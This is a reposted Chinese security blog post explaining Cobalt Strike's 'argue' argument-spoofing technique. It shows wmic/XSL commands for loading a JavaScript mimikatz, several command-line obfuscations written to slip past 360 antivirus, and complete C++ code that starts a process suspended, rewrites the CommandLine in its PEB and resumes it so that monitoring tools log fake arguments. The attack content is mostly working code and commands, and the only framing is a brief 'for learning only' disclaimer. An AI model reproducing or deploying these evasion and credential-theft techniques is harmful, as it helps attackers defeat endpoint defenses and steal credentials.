cs中得argue命令原理解析

  • A+
所属分类:安全文章

点击蓝字关注我哦


前言

在学习通过wmic加载mimikatz的时候,发现一个有趣的现象,也发现了一个事实。

通过wmic去加载js版的mimikatz的时候,火绒不候拦截,但是360会拦截wmic这个行为



1.加载mimikatz

命令:

wmic os get /format:"111111.xsl"#这里的xsl是js版的minikatz

cs中得argue命令原理解析

但是从风险的框来看,360安全卫士并没识别出此xs1文件是什么?这很好,尝试着绕过

开始尝试各种命令行混淆:

w^m^i^c,;os,;get /format:"111111.xsl"for /L %i in (start,step,end) do wmic os get /format:"111111.xsl"cmd /v:on /c "set envar=wmic os get /format:"111111.xsl" && !envar!"...........

但是最大的困难不是这个,是360拦着拦着就不拦截了,这是最玄学的,只能关机重启,反复重启!!!!!!!(我猜测是云大脑在某方面做了策略,检测多次拦截一个常规的程序,就会给这个程序一定时间的白名单,因为我反复重启没用,还是不拦)

在测试N编之后,发现,360把所有的白名单程序都加入了自己的规则库了,就算白名单程序执行错误的,也会拦截。

期间也使用了一些常规的白名单程序加载,替换了父子进程链,除却一些不能加参数的白名单程序,好像都会一样的被拦截

2.学习CS中的argue命令原理

通过询问部门大佬,获悉一种参数混淆的新姿势(对于我来说)

在Cobalt Strike 3.13中,引入了argue,该argue命令是作为利用参数欺骗的一种方式引入的

该原理概括来讲,就是在进程启动的时候,使用了一些迷惑的参数比如

wmic aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa什么的

但是一但进程被创建,那么它将被暂停,然后我们通过获取进程块的PEB地址(这里主要通过NtQueryInformationProcess api来完成),然后利用PEB地址通过ReadProcessMemory api来获取进程块的内存副本,然后从RTL_USER_PROCESS_PARAMETERS结构中找到CommandLine字段,替换成正常的命令行参数,比如os get /format:"111111.xsl",然后恢复进程继续执行,当我们通过process Monitor来查看的时候,会发现创建进程的时候传入的参数是无意义的混淆的参数,但实际上是我们执行的是正常参数,好一点偷梁换柱。

#include <iostream>#include <Windows.h>#include <winternl.h> typedef NTSTATUS(*NtQueryInformationProcess2)(    IN HANDLE,    IN PROCESSINFOCLASS,    OUT PVOID,    IN ULONG,    OUT PULONG    ); void* readProcessMemory(HANDLE process, void *address, DWORD bytes) {    SIZE_T bytesRead;    char *alloc;     alloc = (char *)malloc(bytes);    if (alloc == NULL) {        return NULL;    }     if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {        free(alloc);        return NULL;    }     return alloc;} BOOL writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) {    SIZE_T bytesWritten;     if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {        return false;    }     return true;} int main(int argc, char **canttrustthis){    STARTUPINFOA si;    PROCESS_INFORMATION pi;    CONTEXT context;    BOOL success;    PROCESS_BASIC_INFORMATION pbi;    DWORD retLen;    SIZE_T bytesRead;    PEB pebLocal;    RTL_USER_PROCESS_PARAMETERS *parameters;     printf("Argument Spoofing Example by @_xpn_nn");     memset(&si, 0, sizeof(si));    memset(&pi, 0, sizeof(pi));     // Start process suspended    success = CreateProcessA(        NULL,         (LPSTR)"powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'",         NULL,         NULL,         FALSE,         CREATE_SUSPENDED | CREATE_NEW_CONSOLE,        NULL,         "C:\Windows\System32\",         &si,         &pi);     if (success == FALSE) {        printf("[!] Error: Could not call CreateProcessn");        return 1;    }     // Retrieve information on PEB location in process    NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");    ntpi(        pi.hProcess,         ProcessBasicInformation,         &pbi,         sizeof(pbi),         &retLen    );     // Read the PEB from the target process    success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);    if (success == FALSE) {        printf("[!] Error: Could not call ReadProcessMemory to grab PEBn");        return 1;    }     // Grab the ProcessParameters from PEB    parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(        pi.hProcess,         pebLocal.ProcessParameters,         sizeof(RTL_USER_PROCESS_PARAMETERS) + 300    );     // Set the actual arguments we are looking to use    WCHAR spoofed[] = L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed";    success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));    if (success == FALSE) {        printf("[!] Error: Could not call WriteProcessMemory to update commandline argsn");        return 1;    }        /////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////     // Update the CommandLine length (Remember, UNICODE length here)    DWORD newUnicodeLen = 28;        success = writeProcessMemory(        pi.hProcess,         (char *)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),         (void*)&newUnicodeLen,         4    );    if (success == FALSE) {        printf("[!] Error: Could not call WriteProcessMemory to update commandline arg lengthn");        return 1;    }     // Resume thread execution*/    ResumeThread(pi.hThread);}

c++参考代码

3.实际使用效果

执行效果:

cs中得argue命令原理解析

 可以看到这里展示的使我们混淆的参数。

cs中得argue命令原理解析


cs中得argue命令原理解析

END

cs中得argue命令原理解析


cs中得argue命令原理解析


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
cs中得argue命令原理解析

cs中得argue命令原理解析
cs中得argue命令原理解析
cs中得argue命令原理解析
扫码关注我们
cs中得argue命令原理解析


扫码领hacker资料,常用工具,以及各种福利


cs中得argue命令原理解析

转载是一种动力 分享是一种美德

   


本文始发于微信公众号(Gamma实验室):cs中得argue命令原理解析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: